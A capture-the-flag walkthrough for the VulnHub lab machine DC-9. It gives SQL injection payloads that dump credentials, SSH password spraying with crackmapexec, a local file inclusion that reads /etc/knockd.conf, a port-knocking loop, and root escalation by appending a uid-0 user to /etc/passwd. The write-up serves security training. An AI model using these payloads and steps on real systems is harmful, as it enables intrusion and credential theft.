DC-9 from VulnHub features a website that is vulnerable to SQL injection.

I’m able to dump a bunch of users’ credentials by exploiting SQLi and gain a foothold on the system after spraying them on SSH. One of the users has a sudo privileges on a custom binary which allows me to perform an arbitrary file write with root access.

Actually, there is a port knocking rule in this machine to open the SSH port, but when I first solved this machine, my full nmap scan broke that rule. Even though I gained a foothold by skipping the LFI and port knocking, I’ll still include the intended way (LFI and port knocking) in the foothold section.

Skills Learned

  • Blind SQL injection
  • Local file Inclusion
  • Port knocking

Tools

  • Nmap
  • Arpscan
  • CrackMapExec

Reconnaissance

Host Discovery - arp-scan

192.168.2.102 is the target.

→ root@iamf «dc-9» «192.168.2.103»
$ arp-scan --interface eth0 192.168.2.0/24 | tee scans/00-arp-scan
Interface: eth0, type: EN10MB, MAC: 08:00:27:0b:94:f0, IPv4: 192.168.2.103
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.2     0a:00:27:00:00:0a       (Unknown: locally administered)
192.168.2.1     08:00:27:d9:63:87       PCS Systemtechnik GmbH
192.168.2.102   08:00:27:54:bc:fd       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.986 seconds (128.90 hosts/sec). 3 responded

Port Scan - nmap

nmap shows two ports available, 80 (HTTP) and 22 (SSH). SSH port is in filtered state.

→ root@iamf «dc-9» «192.168.2.103»
$ nmap -n -sC -sV -oA scans/10-initial-dc9 '192.168.2.102' -v
# Nmap 7.80 scan initiated Thu Apr  8 02:43:51 2021 as: nmap -n -sC -sV -oA scans/10-initial-dc9 -v 192.168.2.102
Nmap scan report for 192.168.2.102
Host is up (0.00048s latency).
Not shown: 998 closed ports
PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome
MAC Address: 08:00:27:54:BC:FD (Oracle VirtualBox virtual NIC)

But, later it turns into open state after a full port scan performed.

→ root@iamf «dc-9» «192.168.2.103»
$ nmap -n -p22 192.168.2.102
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-08 05:21 EDT
Nmap scan report for 192.168.2.102
Host is up (0.00075s latency).

PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 08:00:27:54:BC:FD (Oracle VirtualBox virtual NIC)

I can confirms it with netcat.

→ root@iamf «dc-9» «192.168.2.103»
$ nc 192.168.2.102 22
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u1

Enumeration

TCP 80 - Website

The home page of this site doesn’t provide anything useful.

image-20210408134805695

The Display All Records menu functions to display all user records.

image-20210408134819215

There is a user input on the Search menu

image-20210408134833069

The Manage menu has login function.

image-20210408134853665

From here I can assume that the website uses database.

Foothold

SQL injection

Identify

There’s error-based SQL injection on search.php, and the initial detection is simple, when I try put ' it gives bug (joke reference).

In this web, the SQLi vulnerability can be identified by adding a single quote ('`) at the end of users' first name that I want to search.

image-20210602031408130

Based on the search page, you can only input one name (either the first or the last name) and it will return a single record, so without ', the search should return one related result.

image-20210602031344011

But then, when I submit ' OR 1=1 -- -', it returns all the records.

image-20210602030509083

UNION injection

To perform the SQL union injection attack manually, I’ll have to identify the available columns and its data type.

There are 6 columns with the data type of each column is string. The injection query is as follows:

' UNION SELECT 'a','b','c','d','e','f' -- 

image-20210602033329668

I’ll pull out database version, current database, and the available databases.

' UNION SELECT @@version, 'Current DB:', database(), group_concat(SCHEMA_NAME),5,6 FROM information_schema.schemata -- -

image-20210602033848222

The website uses MariaDB as its database. The database currently in use is Staff. Staff and users are non-default database, so I’ll look into these tables.

With the following query, I can get the two tables name from database Staff: StaffDetails and Users.

'UNION SELECT table_name,2,3,4,5,6 FROM information_schema.tables where table_schema = 'Staff' -- -

image-20210602034617576

StaffDetails contains the all the staff records which previously seen at the Display All Records menu.

I’ll get the columns name of the table Users with the following query:

'UNION SELECT group_concat(column_name), 2,3,4,5,6 from information_schema.columns where table_name = 'Users' -- -

image-20210602035249528

I will get the contents of the Username and the Password columns, and it returns a set of credentials.

' UNION SELECT group_concat(username, ':', password),2,3,4,5,6 FROM Users -- -

image-20210602040550090

The password is in md5 format.

→ root@iamf «dc-9» «192.168.2.103»
$ echo 856f5de590ef37314e7c3bdf6f8a66dc | wc -c
33

The hash can be cracked online. The credentials is admin:transorbital1, and I’ll just keep that for now.

image-20210602044447046

On database users, there is only one table called UserDetails. Here is the query.

'UNION SELECT group_concat(table_name),2,3,4,5,6 FROM information_schema.tables where table_schema = 'users' -- -

image-20210602041638341

With the following query, I can get the columns on table UserDetails.

' UNION SELECT group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name = 'UserDetails' -- -

image-20210602041745247

UserDetails has 6 columns, but I’m interested only with the username and the password column, and I’ll pull out the their contents.

' UNION SELECT group_concat(username,":",password),2,3,4,5,6 FROM users.UserDetails -- -

image-20210602041822329

That’s a lot of credentials. I can sort these creds with sed command by substituting comma with new line.

→ root@iamf «dc-9» «192.168.2.103»
$ echo -n 'marym:3kfs86sfd,julied:468sfdfsd2,fredf:4sfd87sfd1,barneyr:RocksOff,tomc:TC&TheBoyz,jerrym:B8m#48sd,wilmaf:Pebbles,bettyr:BamBam01,chandlerb:UrAG0D!,joeyt:Passw0rd,rachelg:yN72#dsd,rossg:ILoveRachel,monicag:3248dsds7s,phoebeb:smellycats,scoots:YR3BVxxxw87,janitor:Ilovepeepee,janitor2:Hawaii-Five-0' | sed -s 's/,/\n/g'
marym:3kfs86sfd
julied:468sfdfsd2
fredf:4sfd87sfd1
barneyr:RocksOff
tomc:TC&TheBoyz
jerrym:B8m#48sd
wilmaf:Pebbles
bettyr:BamBam01
chandlerb:UrAG0D!
joeyt:Passw0rd
rachelg:yN72#dsd
rossg:ILoveRachel
monicag:3248dsds7s
phoebeb:smellycats
scoots:YR3BVxxxw87
janitor:Ilovepeepee
janitor2:Hawaii-Five-0

Shell access

SSH Login brute-force

Since the SSH port is open, I tried all the credentials I obtained from SQLi on SSH using crackmapexec. It returned 3 valid logins.

→ root@iamf «dc-9» «192.168.2.103»
$ crackmapexec ssh 192.168.2.102 -u users -p passwords --no-bruteforce --continue-on-success
SSH         192.168.2.102   22     192.168.2.102    [*] SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u1
...<SNIP>...
SSH         192.168.2.102   22     192.168.2.102    [+] chandlerb:UrAG0D! 
SSH         192.168.2.102   22     192.168.2.102    [+] joeyt:Passw0rd 
...<SNIP>...
SSH         192.168.2.102   22     192.168.2.102    [+] janitor:Ilovepeepee 
...<SNIP>...

(Intended) LFI and Port Knocking

In my case, I discovered that the website is vulnerable to LFI after inspecting the source code.

chandlerb@dc-9:/var/www/html$ cat manage.php
<?php
$file = 'contact-info.php';
$show_errors = $_SESSION['display_errors'];
    if ($show_errors == 'yes') {
        if(file_exists($file)) {
            include($file);
        } else {
            echo "File does not exist" . "<br />";
            # LFI vulnerability starts from here
            $file = $_GET['file']; 
            # No input sanitization poc: manage?file=../../../../etc/passwd
            include('directory/' . $file); 
        }
...<SNIP>...

Using LFI is the intended way to gain a foothold before performing brute force. In order to exploit it, I previously had to login using the credentials I obtained through SQLi (admin:transorbital1).

With LFI can include /etc/knockd.conf to read the knocking sequence to open the SSH port.

image-20210602050027114

In case the SSH port is closed, then to open it, I’ll need to interact with port 7469,8475,9842 sequentially.

for i in 7469 8475 9842; do nc -w1 192.168.2.102 $i; done;

image-20210602051747909

To close the port, I’ll need to knock in reverse order:

for i in 9842 8475 7469; do nc -w1 192.168.2.102 $i; done;

image-20210602052201358

Then, from here, I should use SSH brute force (which I did earlier).

Privilege Escalation

Shell as fredf

Enumeration

Only user janitor that has one valuable thing in its home dir, and that is a password list.

janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt 
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

With those new password, I’ll perform another brute force using crackmapexec.

SSH - fredf

crackmapexec returns one valid login for fred:B4-Tru3-001.

→ root@iamf «dc-9» «192.168.2.103»
$ crackmapexec ssh 192.168.2.102 -u users -p passwords --no-bruteforce --continue-on-success
SSH         192.168.2.102   22     192.168.2.102    [*] SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u1
...
SSH         192.168.2.102   22     192.168.2.102    [+] fredf:B4-Tru3-001 
...
→ root@iamf «dc-9» «192.168.2.103»
$ ssh fredf@192.168.2.102
fredf@192.168.2.102's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr  8 20:10:42 2021 from 192.168.2.103
fredf@dc-9:~$ id
uid=1003(fredf) gid=1003(fredf) groups=1003(fredf)

Shell as root

Enumeration

User fredf has sudo privileges on a custom binary called test

fredf@dc-9:/home$ sudo -l
Matching Defaults entries for fredf on dc-9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
    (root) NOPASSWD: /opt/devstuff/dist/test/test

I suspect /opt/devstuff/test.py is the actual code of that binary.

fredf@dc-9:/opt/devstuff$ cat test.py 
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

Script Analysis

It checks if the arguments are equal to 3. If it doesn’t have 3 arguments, it exits.

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

Otherwise, it reads a file specified on argv1 in read mode and store its contents to the variable output.

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

Then it opens a file specified on argv2 in append mode and it adds the variable output (the file contents of argv1) to that file.

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

Since this gives arbitrary write on the system, it can be exploited in many ways, one of which is to add a new root account to /etc/passwd.

Exploitation

First, I’ll create a password hash using openssl command.

fredf@dc-9:/tmp$ openssl passwd -1 -salt iamf pass123
$1$iamf$lq0NuDAhNy8IFlaFgiRw20

I’ll follow the flat database format of /etc/passwd to create my own user. I’ll use the field property of root user, and substitute the password (x field) and the username with the one I specified.

# From this
root:x:0:0:root:/root:/bin/bash
# To
iamf:$1$iamf$lq0NuDAhNy8IFlaFgiRw20:0:0:root:/root:/bin/bash

I’ll store that to a file called /tmp/passwd.

And now I can just append the content of /tmp/passwd to /etc/passwd using /opt/devstuff/dist/test/test.

fredf@dc-9:/tmp$ sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd

I can confirms my account is there (/etc/passwd).

fredf@dc-9:/tmp$ cat /etc/passwd
...
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash
iamf:$1$iamf$lq0NuDAhNy8IFlaFgiRw20:0:0:root:/root:/bin/bash

SU - root

Now I can switch to my account and get a root shell.

fredf@dc-9:/tmp$ su iamf
Password: pass123
root@dc-9:/tmp#

And here is the flag,

root@dc-9:~# cat theflag.txt 


███╗   ██╗██╗ ██████╗███████╗    ██╗    ██╗ ██████╗ ██████╗ ██╗  ██╗██╗██╗██╗
████╗  ██║██║██╔════╝██╔════╝    ██║    ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║     █████╗      ██║ █╗ ██║██║   ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║     ██╔══╝      ██║███╗██║██║   ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗    ╚███╔███╔╝╚██████╔╝██║  ██║██║  ██╗██╗██╗██╗
╚═╝  ╚═══╝╚═╝ ╚═════╝╚══════╝     ╚══╝╚══╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝╚═╝
                                                                             
Congratulations - you have done well to get to this point.

Hope you enjoyed DC-9.  Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.

I also want to send out a big thank you to the various members of @m0tl3ycr3w .

They are an inspirational bunch of fellows.

Sure, they might smell a bit, but...just kidding.  :-)

Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.

So long, and thanks for all the fish.

References